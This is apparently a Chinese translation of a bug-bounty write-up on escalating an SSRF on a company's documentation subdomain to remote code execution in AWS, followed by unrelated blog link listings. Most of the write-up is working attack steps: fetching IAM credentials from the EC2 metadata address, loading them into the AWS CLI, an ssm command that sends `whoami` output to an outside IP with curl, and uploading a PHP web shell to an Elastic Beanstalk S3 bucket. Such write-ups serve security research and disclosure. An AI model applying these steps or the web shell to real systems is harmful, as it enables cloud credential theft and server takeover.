将SSRF升级为RCE(AWS环境)
原文:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/
查找域名范围:
在枚举客户端的子域名时。找到了子域名[docs]
打开这个子域名[docs.redact.com]
查找带外资源负载:
[docs]子域名显示了一些文档和统计信息
在点击统计数据的照片时,有请求内部URL的链接:
将[url]的值改为generaleg0x01.com
[mimeType]参数编辑了链接,并将值更改为:
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11
到目前为止它只是[带外资源负载]
验证SSRF:
检查BurpSuite中的requests/responses时注意到Response头[X-Amz-Cf-Id]
这是在AWS 环境上的标识。已经知道[169.254.169.254]是EC2实例的本地IP地址。
尝试导航到[/latest/meta-data/]来访问元数据文件夹。
确认有SSRF漏洞
EC2环境中的利用方式
通过导航到[/latest/meta-data/iam/security-credentials/]来检查当前的角色。
这是aws-elasticbeanstalk-ec2-role
什么是AWS Elastic Beanstalk?
- AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
- 它自动处理部署,容量配置,负载平衡,自动扩展和应用程序运行状况监视。
窃取所需数据:
1)跳转到[/ latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]页面
可以得到[AccessKeyId,SecretAccessKey,Token]
2)跳转到[/ latest/dynamic/instance-identity/document/]页面
可以得到[instanceId,accountId,region]
配置AWS命令行界面:
- 打开终端,敲这些命令:
~# apt install awscli
~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token
- 得到[UserID]
~# aws sts get-caller-identity
探索更多的可能性,将其升级为更大的“RCE”。
将SSRF升级为RCE:
尝试一些潜在的exploit场景。
通过[ssm send-command]提权 失败
经过几项研究尝试使用AWS Systems Manager [ssm]命令。
但是该角色无权执行此命令。用aws ssm send-command提权回显如下。
~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region
回显内容:
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx
- 通过[SSH]提权 失败
SSH端口已关闭。用知名的场景提权:
“创建RSA身份验证密钥对(公钥和私钥),以便能够从帐户登录远程站点,而无需输入密码。”
- [Uploading Backdoor] 提权 成功
试图阅读[S3 Bucket]内容:
尝试使用AWS CLI运行多个命令以从AWS实例检索信息。但是,由于安全策略的原因,对大多数命令的访问被拒绝。
~# aws s3 ls
回显内容:
An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
经过几项研究后发现托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。
访问S3 buckets格式如下:
elasticbeanstalk-区域-账户-id
现在, bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。
以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,使用AWS CLI执行列出长时间运行的任务:
~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive
现在尝试上传一个后门!
~# cat cmd.php
文件内容:
1. <?php **if**(**isset**($_REQUEST['cmd'])){ **echo** "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); **echo** "</pre>"; **die**; }?>
~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/
upload: ./cmd.php to s3://docs.redact.com/cmd.php
成功获得了RCE!
简而言之:
可以通过多种方式将服务器端请求伪造升级到远程执行代码,但这取决于目标环境。
将SSRF升级为RCE(AWS环境)的更多相关文章
- 升级设置win2008r2开发环境,遇到问题小结
升级设置2008r2开发环境,是一般程序员经历的事情.许多从vs 2003,vs2005+sql2000+win2003过来,但是,时间推移,技术革新,64位的推行.架构的变化和强大.我们也只可以学习 ...
- 52. spring boot日志升级篇—log4j多环境不同日志级别的控制【从零开始学Spring Boot】
在上一章节中我们介绍了,仅通过log4j-spring.properties对日志级别进行控制,对于需要多环境部署的环境不是很方便,可能我们在开发环境大部分模块需要采用DEBUG级别,在测试环境可能需 ...
- 【ARTS】01_22_左耳听风-201900408~2019004014
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- AWS EC2 PV Drivers 驱动升级
问题 从2019-10-23起,我的AWS实例不断的重启(大概6个小时左右),或者连接不上(远程连接不上并PING不通IP),但控制台显示running. 分析与解决方法 通过查看dump文件,发现是 ...
- hackrf one环境搭建以及升级固件
一.环境配置 操作系统: Ubuntu 18 硬件:hackrf 第一步 配置国内源 备份 /etc/apt/sources.list 文件 sudo mv /etc/apt/sources.list ...
- Node.js躬行记(22)——Node环境升级日志
公司之前所有的 Node 项目,其环境都是 8.9.4 版本,发布于 2018 年的一个比较古老的版本. 老版本有两个比较明显的问题: Node 高版本的特性和方法都无法使用. 有些第三方新版本的包无 ...
- 基于AWS的云服务架构最佳实践
ZZ from: http://blog.csdn.net/wireless_com/article/details/43305701 近年来,对于打造高度可扩展的应用程序,软件架构师们挖掘了若干相关 ...
- AWS核心服务概览
1.Amazon Web Service 应该可以说,Amazon Web Service目前是云计算领域的领头羊,其业务规模.开发水平和盈利能力在业界内都是首屈一指的.从本科毕业离开学校就一直做Ja ...
- Oracle数据库升级(10.2.0.4->11.2.0.4)
环境: RHEL5.4 + Oracle 10.2.0.4 目的: 在本机将数据库升级到11.2.0.4 之前总结的Oracle数据库异机升级:http://www.cnblogs.com/jyzha ...
随机推荐
- cas的客户端配置
知识点:cas的客户端配置 一:cas客户端配置 二:cas认证流程原理(图) 参考:https://www.cnblogs.com/suiyueqiannian/p/9359597.html 源码: ...
- 你不知道的JavaScript LHS 和 RHS 查找
今天在学习JavaScript的相关知识时接触到了 LHS(Left Hand Side)和 RHS(Right Hand Side)两种对变量查找的方法,之所以JavaScript要查找变量,那就先 ...
- Windows10关闭自动更新总结
试过好多关闭windows自动更新的方法,但是在每次重启后发现C盘又塞了一堆更新包,强迫症的我必须要彻底关闭它! 1. services关闭 运行 services.msc ,找到Windows Up ...
- BZOJ 1778: [Usaco2010 Hol]Dotp 驱逐猪猡 (高斯消元)
题面 题目传送门 分析 令爆炸概率为PPP.设 f(i)=∑k=0∞pk(i)\large f(i)=\sum_{k=0}^{\infty}p_k(i)f(i)=∑k=0∞pk(i),pk(i)p ...
- SIGAI深度学习第七集 卷积神经网络1
讲授卷积神经网络核心思想.卷积层.池化层.全连接层.网络的训练.反向传播算法.随机梯度下降法.AdaGrad算法.RMSProp算法.AdaDelta算法.Adam算法.迁移学习和fine tune等 ...
- SP703 SERVICE - Mobile Service
思路:DP 提交:1次 题解: 我们把处理到的要求作为阶段. \(f[i][x][y][z]\)表示第 \(i\) 个要求,三个人分别的位置. 发现这样有很多无用状态,因为显然在第 \(i\) 个要求 ...
- (WA)BZOJ 4821: [Sdoi2017]相关分析
二次联通门 : BZOJ 4821: [Sdoi2017]相关分析 2017.8.23 Updata 妈妈!!这道题卡我!!!就是不然我过!!!!! #include <cstdio> # ...
- jira默认是jira_user用户组的用户有登录jira的权限
场景描述: 今天给jira新建了几个用户组,看着英文的jira_user和jira_developer有点多余,所以就给删掉了.然后后面新建了开发人员和测试人员用户组,进行了人员分配和项目分配,可是突 ...
- 基础遗传算法的TSP问题
一.简介 旅行商问题是一个经典的组合优化问题.一个经典的旅行商问题可以描述为:一个商品推销员要去若干个城市推销商品,该推销员从一个城市出发,需要经过所有城市后,回到出发地.应如何选择行进路线,以使总的 ...
- 【Linux】安装 PostgreSQL
参考: CSDN1:https://blog.csdn.net/ctwy291314/article/details/79900074 1.进入 PostgreSQL 官网的下载地址, 2.选择下面的 ...